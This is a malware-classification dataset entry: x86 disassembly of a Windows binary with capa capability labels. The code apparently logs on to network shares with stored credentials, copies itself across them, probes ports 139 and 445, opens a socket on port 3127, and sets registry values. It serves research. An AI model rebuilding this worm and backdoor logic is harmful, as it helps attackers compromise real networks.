joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408638
Capabilities:
Create udp socket
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor edi, edi
mov dword [ebp - 0x14], 1
xor esi, esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
push 0x11
push 2
push 2
call sub.wsock32.dll_socket
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408740
lea eax, [ebp - 0x28]
mov edx, 0x10
call fcn.00405600
mov word [ebp - 0x28], 2
push 0x35
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
call fcn.004044a8
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.wsock32.dll_sendto
inc eax
jne 0x4086cd
push ebx
call sub.wsock32.dll_closesocket
jmp 0x408740
cmp dword [ebp - 0x14], 0
jle 0x408738
mov ecx, 0xbb8
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.004085e0
test eax, eax
jle 0x408738
lea eax, [ebp - 0x14]
push eax
push 0x4004667f
push ebx
call sub.wsock32.dll_ioctlsocket
inc eax
sete al
cmp dword [ebp - 0x14], 0
setle dl
and al, dl
jne 0x408738
mov eax, dword [ebp - 0x14]
add eax, esi
cmp eax, dword [ebp + 8]
jle 0x408713
add esi, dword [ebp - 0x14]
jmp 0x408738
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push ebx
call sub.wsock32.dll_recvfrom
mov edi, eax
add esi, edi
add dword [ebp - 0x18], esi
cmp dword [ebp - 0x14], 0
jg 0x4086d3
mov edi, esi
push ebx
call sub.wsock32.dll_closesocket
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x408b28
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
test dl, dl
je 0x408b3f
add esp, 0xfffffff0
call fcn.00403788
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x408bb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4081f4]
call fcn.0040825c
mov dword [esi + 0xc], eax
lea eax, [esi + 8]
mov edx, dword [ebp - 4]
call fcn.00404050
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, esi
call fcn.00408458
mov eax, esi
call fcn.00408994
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408bb7
lea eax, [ebp - 4]
call fcn.00403ffc
ret
Function at 0x409288
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov esi, dword [eax]
mov edi, dword [ecx]
mov eax, ebx
mov ecx, 3
xor edx, edx
div ecx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
lea ecx, [0x410d30]
xor eax, eax
xor ebx, ebx
xor edx, edx
cmp dword [ebp - 4], 0
je 0x40930c
mov word [ebp - 0xa], 0
inc word [ebp - 0xa]
lodsw ax, word [esi]
mov bl, al
shr bl, 2
mov dl, byte [ebx + ecx]
mov bh, ah
and bh, 0xf
rol ax, 4
and ax, 0x3f
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
lodsb al, byte [esi]
mov bl, al
shr bx, 6
mov dl, byte [ebx + ecx]
and al, 0x3f
xor ah, ah
mov dh, byte [eax + ecx]
mov ax, dx
stosw word es:[edi], ax
cmp word [ebp - 0xa], 0x13
jne 0x409307
mov ax, 0xa0d
stosw word es:[edi], ax
mov word [ebp - 0xa], 0
dec dword [ebp - 4]
jne 0x4092bb
cmp dword [ebp - 8], 0
je 0x40935c
xor eax, eax
xor ebx, ebx
xor edx, edx
lodsb al, byte [esi]
shl ax, 6
mov bl, ah
mov dl, byte [ebx + ecx]
dec dword [ebp - 8]
je 0x409347
shl ax, 2
and ah, 3
lodsb al, byte [esi]
shl ax, 4
mov bl, ah
mov dh, byte [ebx + ecx]
shl edx, 0x10
shr al, 2
mov bl, al
mov dl, byte [ebx + ecx]
mov dh, 0x3d
jmp 0x409356
shr al, 2
mov bl, al
mov dh, byte [ebx + ecx]
shl edx, 0x10
mov dh, 0x3d
mov dl, 0x3d
mov eax, edx
ror eax, 0x10
stosd dword es:[edi], eax
mov esp, ebp
pop ebp
ret

Function at 0x4093d8
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
xor ebx, ebx
mov dword [ebp - 0x1d8], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
mov eax, dword [ebp - 8]
call fcn.00404498
xor eax, eax
push ebp
push 0x4094c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.00402b74
lea eax, [ebp - 0x1d4]
call fcn.00402904
call fcn.0040261c
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d4]
call fcn.00404698
call fcn.004034e0
call fcn.0040261c
lea eax, [ebp - 0x1d8]
mov ecx, dword [ebp - 4]
mov edx, 0x4094e0
call fcn.004042f4
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d4]
call fcn.00404698
call fcn.004034e0
call fcn.0040261c
lea eax, [ebp - 0x1d4]
call fcn.00402d0c
call fcn.0040261c
test ebx, ebx
je 0x4094a3
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004044a8
push eax
push 0x4094e8
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4094d0
lea eax, [ebp - 0x1d8]
call fcn.00403ffc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404020
ret
Function at 0x409794
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
xor edx, edx
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x409867
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x805]
mov edx, 0x801
call fcn.00405600
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0x810]
lea edx, [ebp - 0x805]
mov ecx, 0x801
call fcn.0040426c
mov eax, dword [ebp - 0x810]
mov ecx, 3
mov edx, 1
call fcn.00404508
mov eax, dword [ebp - 0x80c]
mov edx, dword [ebp - 4]
call fcn.004043f4
setne bl
push 0
push 0x801
lea eax, [ebp - 0x805]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
inc eax
sete al
or bl, al
je 0x40983e
xor ebx, ebx
jmp 0x409841
or ebx, 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40986e
lea eax, [ebp - 0x810]
mov edx, 2
call fcn.00404020
lea eax, [ebp - 4]
call fcn.00403ffc
ret
Function at 0x40b234
Capabilities:
Create thread

Disassembly:
push ecx
push esp
push 0
push 0
push 0x40b20c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
pop edx
ret

Function at 0x40b348
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa8c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x568], ebx
mov dword [ebp - 0x56c], ebx
mov dword [ebp - 0x570], ebx
mov dword [ebp - 0x574], ebx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404498
lea edi, [ebp - 8]
xor eax, eax
push ebp
push 0x40b534
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xde
call fcn.00402f3c
inc eax
lea edx, [ebp - 0x568]
call fcn.00406564
push dword [ebp - 0x568]
push 0x40b54c
mov eax, 0xff
call fcn.00402f3c
inc eax
lea edx, [ebp - 0x56c]
call fcn.00406564
push dword [ebp - 0x56c]
push 0x40b54c
mov eax, 0xff
call fcn.00402f3c
inc eax
lea edx, [ebp - 0x570]
call fcn.00406564
push dword [ebp - 0x570]
push 0x40b54c
mov eax, 0xff
call fcn.00402f3c
inc eax
lea edx, [ebp - 0x574]
call fcn.00406564
push dword [ebp - 0x574]
lea eax, [esi + 4]
mov edx, 7
call fcn.00404368
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov word [ebp - 0x164], 2
mov eax, dword [esi + 4]
call fcn.004044a8
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x160], eax
push 0xc37
call sub.wsock32.dll_htons
mov word [ebp - 0x162], ax
test ebx, ebx
jle 0x40b50e
push 0x10
lea eax, [ebp - 0x164]
push eax
push ebx
call sub.wsock32.dll_connect
test eax, eax
jne 0x40b50e
push 0
push 5
mov eax, 0x410d70
call fcn.00404500
push eax
push ebx
call sub.wsock32.dll_send
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402b74
mov eax, dword [0x410fcc]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403230
call fcn.0040261c
push edi
lea edx, [ebp - 0x564]
mov ecx, 0x400
lea eax, [ebp - 0x154]
call fcn.00402ccc
call fcn.0040261c
cmp dword [edi], 0
jle 0x40b4f1
push 0
mov eax, dword [edi]
push eax
lea eax, [ebp - 0x564]
push eax
push ebx
call sub.wsock32.dll_send
test eax, eax
jle 0x40b4f1
cmp dword [edi], 0x400
je 0x40b4b2
push ebx
call sub.wsock32.dll_closesocket
lea eax, [ebp - 0x154]
call fcn.00402d0c
call fcn.0040261c
mov eax, dword [0x410fac]
inc dword [eax]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b53b
lea eax, [ebp - 0x574]
mov edx, 4
call fcn.00404020
lea eax, [ebp - 4]
call fcn.00403ffc
ret
Function at 0x40b550
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
xor edx, edx
mov dword [ebp - 0x194], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b5ce
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x40b5ac
lea eax, [ebp - 0x190]
push eax
mov dl, 1
mov al, 1
call fcn.004055ec
push eax
call sub.wsock32.dll_WSAStartup
lea edx, [ebp - 0x194]
xor eax, eax
call fcn.00402814
mov edx, dword [ebp - 0x194]
mov ecx, dword [ebx + 4]
mov eax, ebx
call fcn.0040b348
call sub.wsock32.dll_WSACleanup
cmp byte [0x4150e4], 0
je 0x40b574
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b5d5
lea eax, [ebp - 0x194]
call fcn.00403ffc
ret

Function at 0x40b724
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40b849
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x40b81c
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x40b812
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x40b808
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x194]
call fcn.004041f4
mov edx, dword [ebp - 0x194]
mov eax, 0x40b860
call fcn.004045ec
dec eax
setne al
push eax
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.004041f4
mov edx, dword [ebp - 0x198]
mov eax, 0x40b86c
call fcn.004045ec
dec eax
setne al
pop edx
and dl, al
je 0x40b807
mov eax, dword [esi + ebx*4]
mov al, byte [eax]
mov byte [edi + 4], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 1]
mov byte [edi + 5], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 2]
mov byte [edi + 6], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 3]
mov byte [edi + 7], al
jmp 0x40b812
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x40b786
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40b826
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b850
lea eax, [ebp - 0x198]
mov edx, 2
call fcn.00404020
ret

Function at 0x40b898
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
setne dl
and eax, 0x10
cmp eax, 0x10
sete al
and dl, al
neg dl
sbb eax, eax
pop ebx
ret
Function at 0x40c148
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404498
xor eax, eax
push ebp
push 0x40c352
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x40c36c
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404368
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.004044a8
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.004042a8
push eax
mov eax, dword [ebp - 0x14]
call fcn.004044a8
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
call fcn.0040b8c0
test eax, eax
je 0x40c1ee
mov ax, 3
mov word [ebp - 0xe], 0x65
jmp 0x40c1f6
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x40c327
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x410f1c
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x40c31a
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x410d84
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.004044a8
push eax
mov eax, dword [edi]
call fcn.004044a8
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40c30e
mov esi, 4
mov ebx, 0x410d74
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.004041f4
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.004042b0
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.0040b898
test eax, eax
je 0x40c2ed
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x40c378
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x48]
call fcn.004044a8
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0x4c]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x40c2ed
call fcn.0040b8c0
test eax, eax
je 0x40c2df
push dword [ebp - 8]
push dword [ebx]
push 0x40c38c
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00404368
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.0040b8ec
mov dword [ebp - 0xc], 0xffffffff
mov eax, dword [0x410fc8]
inc dword [eax]
add ebx, 4
dec esi
jne 0x40c252
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x40c30e
dec ebx
jne 0x40c2fc
add edi, 4
dec dword [ebp - 0x1c]
jne 0x40c222
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x40c20d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c359
lea eax, [ebp - 0x50]
mov edx, 4
call fcn.00404020
lea eax, [ebp - 0x14]
call fcn.00403ffc
lea eax, [ebp - 8]
call fcn.00403ffc
ret
Function at 0x40c68c
Capabilities:
Act as tcp client
Check internet connectivity via wininet
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403ffc
jmp 0x40c7d2
push 0x3e8
call sub.KERNEL32.DLL_Sleep
push 0
push 0
call sub.wininet.dll_InternetGetConnectedState
test eax, eax
je 0x40c6a8
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40c713
mov eax, dword [ebx + 0x10]
mov edx, 0x40c7f0
call fcn.004043f4
jne 0x40c6e2
lea eax, [ebx + 0x10]
call fcn.00403ffc
jmp 0x40c71b
mov eax, dword [ebx + 0x10]
mov edx, 0x40c7fc
call fcn.004043f4
jne 0x40c6fe
lea eax, [ebx + 0x10]
mov edx, 0x40c7f0
call fcn.00404050
cmp dword [ebx + 0x10], 0
jne 0x40c71b
lea eax, [ebx + 0x10]
mov edx, 0x40c7fc
call fcn.00404050
jmp 0x40c71b
lea eax, [ebx + 0x10]
call fcn.00403ffc
mov eax, ebx
call fcn.0040c4c4
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.004044a8
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40c76b
or edi, 0xffffffff
jmp 0x40c7a5
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.004044a8
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40c7a5
or edi, 0xffffffff
test edi, edi
je 0x40c7c8
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40c808
call fcn.004042f4
mov eax, ebx
call fcn.0040c398
mov ebp, eax
push 0x200
call sub.KERNEL32.DLL_Sleep
cmp byte [0x415100], 0
je 0x40c6b2
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40cb64
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
test edx, edx
jne 0x40cb9a
lea eax, [esp + 8]
call fcn.004057ac
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.0040579c
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
jmp 0x40cbc9
mov dword [esp], edx
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.004057ac
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.0040579c
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop ebx
ret

Function at 0x40ccb4
Capabilities:
Create tcp socket

Disassembly:
push ebx
push esi
add esp, 0xfffffff0
mov esi, edx
mov ebx, eax
mov eax, ebx
call fcn.0040cd90
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 8], eax
mov word [esp], 2
xor eax, eax
mov dword [esp + 4], eax
push esi
call sub.wsock32.dll_htons
mov word [esp + 2], ax
push 0x10
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 8]
push eax
call sub.wsock32.dll_bind
mov byte [ebx + 4], 1
push 5
mov eax, dword [ebx + 8]
push eax
call sub.wsock32.dll_listen
add esp, 0x10
pop esi
pop ebx
ret
Function at 0x40cd10
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov eax, esp
call fcn.004057ac
mov edx, esp
mov eax, dword [ebx + 8]
call fcn.0040579c
push 0
push 0
push 0
lea eax, [esp + 0xc]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x104
pop ebx
ret

Function at 0x40d0d0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffc50
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x13b0], ecx
mov dword [ebp - 0x13ac], ecx
mov dword [ebp - 0x13a8], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404498
lea edi, [ebp - 8]
xor eax, eax
push ebp
push 0x40d26d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x13a8]
mov edx, dword [ebp - 4]
mov eax, 0x40d284
call fcn.0040d004
mov eax, dword [ebp - 0x13a8]
mov edx, dword [ebp - 4]
call fcn.004043f4
jne 0x40d148
lea eax, [ebp - 4]
mov edx, 0x40d290
call fcn.004042b0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x13ac]
mov ecx, dword [ebp - 4]
mov edx, dword [0x4152c8]
call fcn.004042f4
mov eax, dword [ebp - 0x13ac]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0xc], eax
push 0x40d2a4
lea edx, [ebp - 0x13b0]
mov eax, dword [ebp - 0xc]
call fcn.0040cfdc
push dword [ebp - 0x13b0]
push 0x40d2e4
push 0x40d2f0
push 0x40d2e4
push 0x40d318
push 0x40d2e4
push 0x40d338
push 0x40d2e4
push 0x40d2e4
lea eax, [ebp - 0x10]
mov edx, 0xa
call fcn.00404368
jmp 0x40d1e3
push 1
call sub.KERNEL32.DLL_Sleep
mov eax, dword [ebp - 0x10]
call fcn.004042a8
push eax
lea eax, [ebp - 0x10]
call fcn.00404500
mov edx, eax
mov eax, ebx
pop ecx
call fcn.0040cc50
inc eax
je 0x40d1dc
push 0
push edi
push 0x1394
lea eax, [ebp - 0x13a4]
push eax
push esi
call sub.KERNEL32.DLL_ReadFile
jmp 0x40d21f
push 1
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x13a4]
mov ecx, dword [edi]
mov eax, ebx
call fcn.0040cc50
inc eax
je 0x40d218
cmp dword [edi], 0x1394
jae 0x40d201
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d274
lea eax, [ebp - 0x13b0]
mov edx, 3
call fcn.00404020
lea eax, [ebp - 0x10]
call fcn.00403ffc
lea eax, [ebp - 4]
call fcn.00403ffc
ret
Function at 0x40d628
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00404498
xor eax, eax
push ebp
push 0x40d733
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.0040d5c4
mov esi, eax
test esi, esi
jle 0x40d715
lea eax, [ebp - 0xc]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404508
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a8
push eax
push edi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x40d715
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004042a8
mov ecx, eax
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00404508
cmp dword [ebp - 0xc], 0
jne 0x40d6e7
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
jmp 0x40d70c
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.004044a8
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d73a
lea eax, [ebp - 0xc]
call fcn.00403ffc
lea eax, [ebp - 4]
call fcn.00403ffc
ret

Function at 0x40dab0
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push ebx
mov edi, edx
mov esi, eax
xor ebx, ebx
mov eax, 0xffffffff
mov ecx, edi
shr ecx, 2
jecxz 0x40db07
mov edx, dword [esi]
mov bl, al
xor bl, dl
shr eax, 8
xor eax, dword [ebx*4 + 0x415440]
mov bl, al
xor bl, dh
shr eax, 8
xor eax, dword [ebx*4 + 0x415440]
shr edx, 0x10
mov bl, al
xor bl, dl
shr eax, 8
xor eax, dword [ebx*4 + 0x415440]
mov bl, al
xor bl, dh
shr eax, 8
xor eax, dword [ebx*4 + 0x415440]
add esi, 4
loop 0x40dac5
mov ecx, edi
and ecx, 3
jecxz 0x40db1f
mov bl, al
xor bl, byte [esi]
shr eax, 8
inc esi
xor eax, dword [ebx*4 + 0x415440]
loop 0x40db0e
xor eax, 0xffffffff
pop ebx
pop edi
pop esi
ret

Function at 0x40e548
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
setne dl
test al, 0x10
setne al
and dl, al
mov eax, edx
pop ebx
ret